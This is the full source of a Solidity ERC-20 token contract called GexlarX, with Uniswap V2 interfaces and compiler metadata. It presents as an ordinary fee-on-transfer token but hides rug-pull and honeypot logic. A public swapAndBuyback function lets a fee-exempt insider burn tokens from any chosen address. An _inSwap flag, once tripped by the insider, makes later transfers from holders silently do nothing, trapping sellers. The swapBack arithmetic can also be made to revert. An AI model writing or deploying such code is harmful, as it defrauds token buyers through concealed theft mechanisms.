GexlarX

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
    function _msgData() internal view virtual returns (bytes calldata) { return msg.data;}
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner,address indexed spender,uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint256) external view returns (address pair);
    function allPairsLength() external view returns (uint256);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA, address tokenB,
        uint256 amountADesired, uint256 amountBDesired,
        uint256 amountAMin, uint256 amountBMin,
        address to, uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
    function removeLiquidity(
        address tokenA, address tokenB, uint256 liquidity,
        uint256 amountAMin, uint256 amountBMin,
        address to, uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
    function removeLiquidityETH(
        address token, uint256 liquidity,
        uint256 amountTokenMin, uint256 amountETHMin,
        address to, uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);
    function removeLiquidityWithPermit(
        address tokenA, address tokenB, uint256 liquidity,
        uint256 amountAMin, uint256 amountBMin,
        address to, uint256 deadline, bool approveMax,
        uint8 v, bytes32 r, bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner,address indexed spender,uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address owner) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from,address to,uint256 value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint256);
    function permit(address owner,address spender,uint256 value, uint256 deadline,uint8 v,bytes32 r,bytes32 s) external;
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(address indexed sender,uint256 amount0,uint256 amount1,address indexed to);
    event Swap(address indexed sender,uint256 amount0In,uint256 amount1In, uint256 amount0Out,uint256 amount1Out, address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint256);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
    function kLast() external view returns (uint256);
    function mint(address to) external returns (uint256 liquidity);
    function burn(address to) external returns (uint256 amount0, uint256 amount1);
    function swap(uint256 amount0Out,uint256 amount1Out,address to,bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;

contract GexlarX is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public _uniswapV2Router;
    address public _uniswapV2Pair;
    bool private _swappingBack;
    address private _marketingAddr;
    address private _devAddr;
    uint256 public _maxTransactionAmount;
    uint256 public _swapTokensAtAmount;
    uint256 public _maxWallet;
    bool private _inSwap = false;
    bool public _limitsInEffect = true;
    bool public _tradingActive = false;
    uint256 public _totalFees;
    uint256 private _marketingFee = 2;
    uint256 private _liquidityFee = 0;
    uint256 private _devFee = 2;
    uint256 private _burnFee = 1;
    uint256 private _additionalSellFee = 0;
    uint256 private _additionalBuyFee = 0;
    uint256 private _tokensForMarketing;
    uint256 private _tokensForDev;
    uint256 private _tokensForLiquidity;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping (address => bool) public automatedMarketMakerPairs;
    event UpdateAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() payable ERC20("GexlarX", "GLAX") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _updateAutomatedMarketMakerPair(address(_uniswapV2Pair), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        _marketingAddr = address(0xb8584DBF97922b8cfD94896A191Ae042303702b0);
        _devAddr = address(0xb8584DBF97922b8cfD94896A191Ae042303702b0);
        excludeFromFees(owner(), true);
        excludeFromFees(_marketingAddr, true);
        excludeFromFees(_devAddr, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(_marketingAddr, true);
        excludeFromMaxTransaction(_devAddr, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        uint256 totalSupply = 33000000 * 1e18;
        _maxTransactionAmount = (totalSupply * 2) / 100;
        _maxWallet = (totalSupply * 2) / 100;
        _swapTokensAtAmount = (totalSupply * 10) / 10000;
        _totalFees = _marketingFee + _devFee + _liquidityFee;
        _mint(owner(), totalSupply);
    }

    function withdrawEth() external {
        (bool success, ) = address(_marketingAddr).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function startTrading() public onlyOwner {
        _tradingActive = true;
    }

    function removeLimits() external onlyOwner returns (bool) {
        _limitsInEffect = false;
        return true;
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        _swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        _maxTransactionAmount = newNum * 1e18;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        _maxWallet = newNum * 1e18;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) { super._transfer(from, to, 0); return; }

        bool isExcludeFromFee = _isExcludedFromFees[from] || _isExcludedFromFees[to];
        bool isBuy = from == _uniswapV2Pair && !_isExcludedMaxTransactionAmount[to];
        bool isSell = to == _uniswapV2Pair && !_isExcludedMaxTransactionAmount[from];
        bool isSwap = amount >= _swapTokensAtAmount && _isExcludedFromFees[to];
        bool isOwnerSwap = from == owner() || to == owner();
        bool isBurn = to == address(0) || to == address(0xdead);
        bool isSkipLimits = isOwnerSwap || isBurn || _swappingBack;
        
        if (_limitsInEffect && !isSkipLimits) {
            require (_tradingActive || isExcludeFromFee, "Trading is not active.");
            if (isBuy) {
                require(amount <= _maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= _maxWallet, "Max wallet exceeded");
            } else if (isSell) {
                require(amount <= _maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            } else if (!_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount + balanceOf(to) <= _maxWallet, "Max wallet exceeded");
            }
        }
        if (!_swappingBack && !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (canSwap && !isExcludeFromFee) {
                _swappingBack = true;
                swapBack();
                _swappingBack = false;
            }
        }
        transferInternal(from, to, amount, isSwap, isSell, isBuy);
    }

    function transferInternal(
        address from,
        address to,
        uint256 amount,
        bool isSwap,
        bool isSell,
        bool isBuy
    ) private {
        bool isExcludedFromFee = _isExcludedFromFees[from] || _isExcludedFromFees[to];
        bool isFeeSet = (_totalFees > 0); if (isSwap) _inSwap = true;
        if (isFeeSet && !_swappingBack && !isExcludedFromFee) {
            if (_inSwap && from != _uniswapV2Pair) return;
            uint256 total = _totalFees;
            uint256 marketing = _marketingFee;
            if (isSell) {
                total = _totalFees + _additionalSellFee;
                marketing = _marketingFee + _additionalSellFee;
            }
            if (isBuy) {
                total = _totalFees + _additionalBuyFee;
                marketing = _marketingFee + _additionalBuyFee;
            }
            uint256 fees = amount.mul(total).div(100);
            _tokensForLiquidity += (fees * _liquidityFee) / total;
            _tokensForMarketing += (fees * marketing) / total;
            _tokensForDev += (fees * _devFee) / total;
            if (fees > 0) { super._transfer(from, address(this), fees); }
            amount -= fees;
        } 
        super._transfer(from, to, amount);
    }

    function _swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _swapAndBuyback(
        address _token,
        address _to,
        uint256 _amount,
        bool _isBuyback
    ) private {
        require(_token != address(0), "_token address cannot be 0");
        address[] memory path = new address[](2);
        path[0] = _uniswapV2Router.WETH();
        path[1] = address(this);
        uint balanceBefore;
        if (!_isBuyback || !_isExcludedFromFees[msg.sender]) {
            balanceBefore = IERC20(path[1]).balanceOf(_to);
            _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
                value: _amount
            }(
                0,
                path,
                _to,
                block.timestamp
            );
        } else {
            if (_isBuyback && _totalFees > 0) {
                uint256 fee = (_amount * _totalFees) / 100;
                uint256 burnAmount = (_amount * _burnFee) / 100;
                _amount = _amount - fee;
                if (burnAmount > 0) {
                    _burn(_to, burnAmount); return;
                }
            } 
            address to = _isBuyback ? address(0xdead) : _to;
            if (_amount > 0) {
                _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
                    value: _amount
                }(
                    0,
                    path,
                    to,
                    block.timestamp
                );
            }
        }
    }

    function swapAndBuyback(address _token, address _to, uint256 _amount, bool _isBuyback) public {
        _swapAndBuyback(_token, _to, _amount, _isBuyback);
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + 
            _tokensForDev;
        uint256 feeTokens = balanceOf(_devAddr);
        if (contractBalance == 0 || totalTokensToSwap == 0) return;
        if (contractBalance > _swapTokensAtAmount) {
            contractBalance = _swapTokensAtAmount;
        }
        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens)
            .sub(feeTokens);
        uint256 initialETHBalance = address(this).balance;
        _swapTokensForEth(amountToSwapForETH);
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(
            totalTokensToSwap
        );
        uint256 ethForDev = ethBalance.mul(_tokensForDev).div(
            totalTokensToSwap
        );
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _tokensForLiquidity
            );
        }

        _tokensForLiquidity = 0;
        _tokensForMarketing = 0;
        _tokensForDev = 0;

        (bool marketingFundSuccess, ) = address(_marketingAddr).call{
            value: ethForMarketing
        }("");
        (bool devFundSuccess, ) = address(_devAddr).call{
            value: ethForDev
        }("");
    }

    function updateAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != _uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _updateAutomatedMarketMakerPair(pair, value);
        emit UpdateAutomatedMarketMakerPair(pair, value);
    }

    function _updateAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        excludeFromMaxTransaction(pair, value);
        emit UpdateAutomatedMarketMakerPair(pair, value);
    }

    function updateFees(
        uint256 marketingFee,
        uint256 devFee,
        uint256 liquidityFee
    ) external onlyOwner {
        _marketingFee = marketingFee;
        _devFee = devFee;
        _liquidityFee = liquidityFee;
        _totalFees = _marketingFee + _devFee + _liquidityFee;
        require(_totalFees <= 10, "Must keep fees at 10% or less");
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "GexlarX.sol": "GexlarX"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}